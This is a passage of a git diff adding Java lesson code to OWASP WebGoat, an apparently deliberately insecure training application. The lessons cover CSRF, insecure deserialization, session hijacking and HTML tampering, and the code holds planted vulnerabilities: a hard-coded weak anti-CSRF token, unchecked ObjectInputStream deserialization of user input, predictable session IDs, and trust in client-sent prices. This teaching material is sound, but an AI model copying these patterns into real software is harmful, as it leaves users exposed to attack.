javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.users.UserTracker; +import org.owasp.webgoat.container.users.UserTrackerRepository; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 11/17/17. + */ +@RestController +@AssignmentHints({"csrf-login-hint1", "csrf-login-hint2", "csrf-login-hint3"}) +public class CSRFLogin extends AssignmentEndpoint { + + private final UserTrackerRepository userTrackerRepository; + + public CSRFLogin(UserTrackerRepository userTrackerRepository) { + this.userTrackerRepository = userTrackerRepository; + } + + @PostMapping( + path = "/csrf/login", + produces = {"application/json"}) + @ResponseBody + public AttackResult completed(HttpServletRequest request) { + String userName = request.getUserPrincipal().getName(); + if (userName.startsWith("csrf")) { + markAssignmentSolvedWithRealUser(userName.substring("csrf-".length())); + return success(this).feedback("csrf-login-success").build(); + } + return failed(this).feedback("csrf-login-failed").feedbackArgs(userName).build(); + } + + private void markAssignmentSolvedWithRealUser(String username) { + UserTracker userTracker = userTrackerRepository.findByUser(username); + userTracker.assignmentSolved( + getWebSession().getCurrentLesson(), this.getClass().getSimpleName()); + userTrackerRepository.save(userTracker); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/csrf/ForgedReviews.java b/src/main/java/org/owasp/webgoat/lessons/csrf/ForgedReviews.java new file mode 100644 index 000000000..c11d43c5e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/ForgedReviews.java @@ -0,0 +1,118 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.csrf; + +import static org.springframework.http.MediaType.ALL_VALUE; + +import com.google.common.collect.Lists; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"csrf-review-hint1", "csrf-review-hint2", "csrf-review-hint3"}) +public class ForgedReviews extends AssignmentEndpoint { + + @Autowired private WebSession webSession; + private static DateTimeFormatter fmt = DateTimeFormatter.ofPattern("yyyy-MM-dd, HH:mm:ss"); + + private static final Map> userReviews = new HashMap<>(); + private static final List REVIEWS = new ArrayList<>(); + private static final String weakAntiCSRF = "2aa14227b9a13d0bede0388a7fba9aa9"; + + static { + REVIEWS.add( + new Review("secUriTy", LocalDateTime.now().format(fmt), "This is like swiss cheese", 0)); + REVIEWS.add(new Review("webgoat", LocalDateTime.now().format(fmt), "It works, sorta", 2)); + REVIEWS.add(new Review("guest", LocalDateTime.now().format(fmt), "Best, App, Ever", 5)); + REVIEWS.add( + new Review( + "guest", + LocalDateTime.now().format(fmt), + "This app is so insecure, I didn't even post this review, can you pull that off too?", + 1)); + } + + @GetMapping( + path = "/csrf/review", + produces = MediaType.APPLICATION_JSON_VALUE, + consumes = ALL_VALUE) + @ResponseBody + public Collection retrieveReviews() { + Collection allReviews = Lists.newArrayList(); + Collection newReviews = userReviews.get(webSession.getUserName()); + if (newReviews != null) { + allReviews.addAll(newReviews); + } + + allReviews.addAll(REVIEWS); + + return allReviews; + } + + @PostMapping("/csrf/review") + @ResponseBody + public AttackResult createNewReview( + String reviewText, Integer stars, String validateReq, HttpServletRequest request) { + final String host = (request.getHeader("host") == null) ? "NULL" : request.getHeader("host"); + final String referer = + (request.getHeader("referer") == null) ? "NULL" : request.getHeader("referer"); + final String[] refererArr = referer.split("/"); + + Review review = new Review(); + review.setText(reviewText); + review.setDateTime(LocalDateTime.now().format(fmt)); + review.setUser(webSession.getUserName()); + review.setStars(stars); + var reviews = userReviews.getOrDefault(webSession.getUserName(), new ArrayList<>()); + reviews.add(review); + userReviews.put(webSession.getUserName(), reviews); + // short-circuit + if (validateReq == null || !validateReq.equals(weakAntiCSRF)) { + return failed(this).feedback("csrf-you-forgot-something").build(); + } + // we have the spoofed files + if (referer != "NULL" && refererArr[2].equals(host)) { + return failed(this).feedback("csrf-same-host").build(); + } else { + return success(this) + .feedback("csrf-review.success") + .build(); // feedback("xss-stored-comment-failure") + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/csrf/Review.java b/src/main/java/org/owasp/webgoat/lessons/csrf/Review.java new file mode 100644 index 000000000..0cb2a5ce1 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/Review.java @@ -0,0 +1,45 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.csrf; + +import javax.xml.bind.annotation.XmlRootElement; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.NoArgsConstructor; +import lombok.Setter; + +/** + * @author nbaars + * @since 4/8/17. + */ +@Getter +@Setter +@AllArgsConstructor +@NoArgsConstructor +@XmlRootElement +public class Review { + private String user; + private String dateTime; + private String text; + private Integer stars; +} diff --git a/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserialization.java b/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserialization.java new file mode 100644 index 000000000..39083406a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserialization.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.deserialization; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class InsecureDeserialization extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A8; + } + + @Override + public String getTitle() { + return "insecure-deserialization.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserializationTask.java b/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserializationTask.java new file mode 100644 index 000000000..d44823fdc --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserializationTask.java @@ -0,0 +1,85 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.deserialization; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InvalidClassException; +import java.io.ObjectInputStream; +import java.util.Base64; +import org.dummy.insecure.framework.VulnerableTaskHolder; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "insecure-deserialization.hints.1", + "insecure-deserialization.hints.2", + "insecure-deserialization.hints.3" +}) +public class InsecureDeserializationTask extends AssignmentEndpoint { + + @PostMapping("/InsecureDeserialization/task") + @ResponseBody + public AttackResult completed(@RequestParam String token) throws IOException { + String b64token; + long before; + long after; + int delay; + + b64token = token.replace('-', '+').replace('_', '/'); + + try (ObjectInputStream ois = + new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) { + before = System.currentTimeMillis(); + Object o = ois.readObject(); + if (!(o instanceof VulnerableTaskHolder)) { + if (o instanceof String) { + return failed(this).feedback("insecure-deserialization.stringobject").build(); + } + return failed(this).feedback("insecure-deserialization.wrongobject").build(); + } + after = System.currentTimeMillis(); + } catch (InvalidClassException e) { + return failed(this).feedback("insecure-deserialization.invalidversion").build(); + } catch (IllegalArgumentException e) { + return failed(this).feedback("insecure-deserialization.expired").build(); + } catch (Exception e) { + return failed(this).feedback("insecure-deserialization.invalidversion").build(); + } + + delay = (int) (after - before); + if (delay > 7000) { + return failed(this).build(); + } + if (delay < 3000) { + return failed(this).build(); + } + return success(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/deserialization/SerializationHelper.java b/src/main/java/org/owasp/webgoat/lessons/deserialization/SerializationHelper.java new file mode 100644 index 000000000..a8b55ab40 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/deserialization/SerializationHelper.java @@ -0,0 +1,51 @@ +package org.owasp.webgoat.lessons.deserialization; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.Serializable; +import java.util.Base64; + +public class SerializationHelper { + + private static final char[] hexArray = "0123456789ABCDEF".toCharArray(); + + public static Object fromString(String s) throws IOException, ClassNotFoundException { + byte[] data = Base64.getDecoder().decode(s); + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data)); + Object o = ois.readObject(); + ois.close(); + return o; + } + + public static String toString(Serializable o) throws IOException { + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(o); + oos.close(); + return Base64.getEncoder().encodeToString(baos.toByteArray()); + } + + public static String show() throws IOException { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + DataOutputStream dos = new DataOutputStream(baos); + dos.writeLong(-8699352886133051976L); + dos.close(); + byte[] longBytes = baos.toByteArray(); + return bytesToHex(longBytes); + } + + public static String bytesToHex(byte[] bytes) { + char[] hexChars = new char[bytes.length * 2]; + for (int j = 0; j < bytes.length; j++) { + int v = bytes[j] & 0xFF; + hexChars[j * 2] = hexArray[v >>> 4]; + hexChars[j * 2 + 1] = hexArray[v & 0x0F]; + } + return new String(hexChars); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSession.java b/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSession.java new file mode 100644 index 000000000..c43ece76b --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSession.java @@ -0,0 +1,48 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.hijacksession; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@Component +public class HijackSession extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.A1; + } + + @Override + public String getTitle() { + return "hijacksession.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSessionAssignment.java b/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSessionAssignment.java new file mode 100644 index 000000000..00416b964 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSessionAssignment.java @@ -0,0 +1,91 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.hijacksession; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.hijacksession.cas.Authentication; +import org.owasp.webgoat.lessons.hijacksession.cas.HijackSessionAuthenticationProvider; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@RestController +@AssignmentHints({ + "hijacksession.hints.1", + "hijacksession.hints.2", + "hijacksession.hints.3", + "hijacksession.hints.4", + "hijacksession.hints.5" +}) +public class HijackSessionAssignment extends AssignmentEndpoint { + + private static final String COOKIE_NAME = "hijack_cookie"; + + @Autowired HijackSessionAuthenticationProvider provider; + + @PostMapping(path = "/HijackSession/login") + @ResponseBody + public AttackResult login( + @RequestParam String username, + @RequestParam String password, + @CookieValue(value = COOKIE_NAME, required = false) String cookieValue, + HttpServletResponse response) { + + Authentication authentication; + if (StringUtils.isEmpty(cookieValue)) { + authentication = + provider.authenticate( + Authentication.builder().name(username).credentials(password).build()); + setCookie(response, authentication.getId()); + } else { + authentication = provider.authenticate(Authentication.builder().id(cookieValue).build()); + } + + if (authentication.isAuthenticated()) { + return success(this).build(); + } + + return failed(this).build(); + } + + private void setCookie(HttpServletResponse response, String cookieValue) { + Cookie cookie = new Cookie(COOKIE_NAME, cookieValue); + cookie.setPath("/WebGoat"); + cookie.setSecure(true); + response.addCookie(cookie); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/Authentication.java b/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/Authentication.java new file mode 100644 index 000000000..7931028a3 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/Authentication.java @@ -0,0 +1,62 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.hijacksession.cas; + +import java.security.Principal; +import lombok.Builder; +import lombok.Getter; +import lombok.ToString; + +/** + * @author Angel Olle Blazquez + */ +@Getter +@ToString +public class Authentication implements Principal { + + private boolean authenticated = false; + private String name; + private Object credentials; + private String id; + + @Builder + public Authentication(String name, Object credentials, String id) { + this.name = name; + this.credentials = credentials; + this.id = id; + } + + @Override + public String getName() { + return name; + } + + protected void setAuthenticated(boolean authenticated) { + this.authenticated = authenticated; + } + + protected void setId(String id) { + this.id = id; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/AuthenticationProvider.java b/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/AuthenticationProvider.java new file mode 100644 index 000000000..55af2c53c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/AuthenticationProvider.java @@ -0,0 +1,35 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.hijacksession.cas; + +import java.security.Principal; + +/** + * @author Angel Olle Blazquez + */ +@FunctionalInterface +public interface AuthenticationProvider { + + T authenticate(T t); +} diff --git a/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/HijackSessionAuthenticationProvider.java b/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/HijackSessionAuthenticationProvider.java new file mode 100644 index 000000000..018dd8bf1 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/HijackSessionAuthenticationProvider.java @@ -0,0 +1,96 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.hijacksession.cas; + +import java.time.Instant; +import java.util.LinkedList; +import java.util.Queue; +import java.util.Random; +import java.util.concurrent.ThreadLocalRandom; +import java.util.function.DoublePredicate; +import java.util.function.Supplier; +import org.apache.commons.lang3.StringUtils; +import org.springframework.stereotype.Component; +import org.springframework.web.context.annotation.ApplicationScope; + +/** + * @author Angel Olle Blazquez + */ + +// weak id value and mechanism + +@ApplicationScope +@Component +public class HijackSessionAuthenticationProvider implements AuthenticationProvider { + + private Queue sessions = new LinkedList<>(); + private static long id = new Random().nextLong() & Long.MAX_VALUE; + protected static final int MAX_SESSIONS = 50; + + private static final DoublePredicate PROBABILITY_DOUBLE_PREDICATE = pr -> pr < 0.75; + private static final Supplier GENERATE_SESSION_ID = + () -> ++id + "-" + Instant.now().toEpochMilli(); + public static final Supplier AUTHENTICATION_SUPPLIER = + () -> Authentication.builder().id(GENERATE_SESSION_ID.get()).build(); + + @Override + public Authentication authenticate(Authentication authentication) { + if (authentication == null) { + return AUTHENTICATION_SUPPLIER.get(); + } + + if (StringUtils.isNotEmpty(authentication.getId()) + && sessions.contains(authentication.getId())) { + authentication.setAuthenticated(true); + return authentication; + } + + if (StringUtils.isEmpty(authentication.getId())) { + authentication.setId(GENERATE_SESSION_ID.get()); + } + + authorizedUserAutoLogin(); + + return authentication; + } + + protected void authorizedUserAutoLogin() { + if (!PROBABILITY_DOUBLE_PREDICATE.test(ThreadLocalRandom.current().nextDouble())) { + Authentication authentication = AUTHENTICATION_SUPPLIER.get(); + authentication.setAuthenticated(true); + addSession(authentication.getId()); + } + } + + protected boolean addSession(String sessionId) { + if (sessions.size() >= MAX_SESSIONS) { + sessions.remove(); + } + return sessions.add(sessionId); + } + + protected int getSessionsSize() { + return sessions.size(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTampering.java b/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTampering.java new file mode 100644 index 000000000..0302c0b4f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTampering.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.htmltampering; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class HtmlTampering extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.CLIENT_SIDE; + } + + @Override + public String getTitle() { + return "html-tampering.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTamperingTask.java b/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTamperingTask.java new file mode 100644 index 000000000..8a0ba7103 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTamperingTask.java @@ -0,0 +1,45 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.htmltampering; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"hint1", "hint2", "hint3"}) +public class HtmlTamperingTask extends AssignmentEndpoint { + + @PostMapping("/HtmlTampering/task") + @ResponseBody + public AttackResult completed(@RequestParam String QTY, @RequestParam String Total) { + if (Float.parseFloat(QTY) * 2999.99 > Float.parseFloat(Total) + 1) { + return success(this).feedback("html-tampering.tamper.success").build(); + } + return failed(this).feedback("html-tampering.tamper.failure").build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasics.java b/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasics.java new file mode 100644 index 000000000..d70aaebb4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasics.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.httpbasics; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class HttpBasics extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.GENERAL; + } + + @Override + public String getTitle() { + return "1.http-basics.title"; // first lesson in general + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsLesson.java b/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsLesson.java new file mode 100644 index 000000000..883f14f31 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsLesson.java @@ -0,0 +1,49 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.httpbasics; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"http-basics.hints.http_basics_lesson.1"}) +public class 